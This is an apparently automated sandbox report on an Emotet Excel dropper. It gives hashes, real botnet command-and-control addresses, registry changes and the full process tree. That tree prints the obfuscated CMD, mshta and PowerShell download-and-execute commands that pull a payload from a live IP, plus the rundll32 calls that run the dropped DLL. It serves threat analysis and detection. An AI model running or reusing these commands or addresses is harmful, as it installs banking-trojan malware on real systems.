emotet | b2f6aa465b36b4554a56926b682f14f9d3cb5d82756d4207c2361839092beb07

Analysis

max time kernel
153s
max time network
154s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 00:43

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Report Analysis Logs

General

Target

Mail_347.xls
Size

35KB
MD5

8458c413f6ed239f7c77573c55633fc3
SHA1

52ccb9dc2a40d840b8c29bbfcf08999e965c4525
SHA256

b2f6aa465b36b4554a56926b682f14f9d3cb5d82756d4207c2361839092beb07
SHA512

a3db38e95fb8c5ef81be3fd08afe43942e4c20d7c902cb7d91d790ba854b66e041864684d39bb0343a58bc4feb7a1773fcba5ffa0162bdfd05593e6983c3155e

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	672	1204	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1740 mshta.exe
5 1716 powershell.exe
7 1716 powershell.exe
9 1716 powershell.exe
11 1056 rundll32.exe
13 1056 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2000 rundll32.exe
2000 rundll32.exe
2000 rundll32.exe
2000 rundll32.exe
1300 rundll32.exe
1300 rundll32.exe
1300 rundll32.exe
1300 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Achywpeelvag\bxuybjnnpkz.uhc rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1740	mshta.exe
5	1716	powershell.exe
7	1716	powershell.exe
9	1716	powershell.exe
11	1056	rundll32.exe
13	1056	rundll32.exe

pid	process
2000	rundll32.exe
2000	rundll32.exe
2000	rundll32.exe
2000	rundll32.exe
1300	rundll32.exe
1300	rundll32.exe
1300	rundll32.exe
1300	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Achywpeelvag\bxuybjnnpkz.uhc	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1204 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1716 powershell.exe
1056 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1716 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1204 EXCEL.EXE
1204 EXCEL.EXE
1204 EXCEL.EXE

pid	process
1204	EXCEL.EXE

pid	process
1716	powershell.exe
1056	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1716	powershell.exe

pid	process
1204	EXCEL.EXE
1204	EXCEL.EXE
1204	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1204 wrote to memory of 672	1204	EXCEL.EXE	CMD.EXE
PID 1204 wrote to memory of 672	1204	EXCEL.EXE	CMD.EXE
PID 1204 wrote to memory of 672	1204	EXCEL.EXE	CMD.EXE
PID 1204 wrote to memory of 672	1204	EXCEL.EXE	CMD.EXE
PID 672 wrote to memory of 1740	672	CMD.EXE	mshta.exe
PID 672 wrote to memory of 1740	672	CMD.EXE	mshta.exe
PID 672 wrote to memory of 1740	672	CMD.EXE	mshta.exe
PID 672 wrote to memory of 1740	672	CMD.EXE	mshta.exe
PID 1740 wrote to memory of 1716	1740	mshta.exe	powershell.exe
PID 1740 wrote to memory of 1716	1740	mshta.exe	powershell.exe
PID 1740 wrote to memory of 1716	1740	mshta.exe	powershell.exe
PID 1740 wrote to memory of 1716	1740	mshta.exe	powershell.exe
PID 1716 wrote to memory of 1648	1716	powershell.exe	cmd.exe
PID 1716 wrote to memory of 1648	1716	powershell.exe	cmd.exe
PID 1716 wrote to memory of 1648	1716	powershell.exe	cmd.exe
PID 1716 wrote to memory of 1648	1716	powershell.exe	cmd.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 2000	1648	cmd.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 2000 wrote to memory of 1300	2000	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 1548	1300	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe
PID 1548 wrote to memory of 1056	1548	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Mail_347.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1204

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1740

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1716

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Achywpeelvag\bxuybjnnpkz.uhc",qspzd
8⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Achywpeelvag\bxuybjnnpkz.uhc",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1056

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
